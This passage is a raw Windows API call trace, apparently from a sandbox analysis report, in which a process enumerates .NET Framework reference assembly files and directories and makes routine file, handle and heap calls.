lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0089.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 1 [0089.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 0 [0089.504] GetLastError () returned 0x12 [0089.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313f30) returned 1 [0089.504] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314140) returned 1 [0089.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314038) returned 1 [0089.504] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0089.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314038 [0089.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.505] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.505] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.506] NtClose (Handle=0x168) returned 0x0 [0089.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314038) returned 1 [0089.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314038 [0089.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.507] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.509] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0089.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.511] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0089.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0089.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.513] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0089.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.515] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0089.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.516] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0089.516] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="")) returned 1 [0089.516] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0089.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.518] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0089.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.519] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0089.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.521] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0089.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0089.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.523] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, 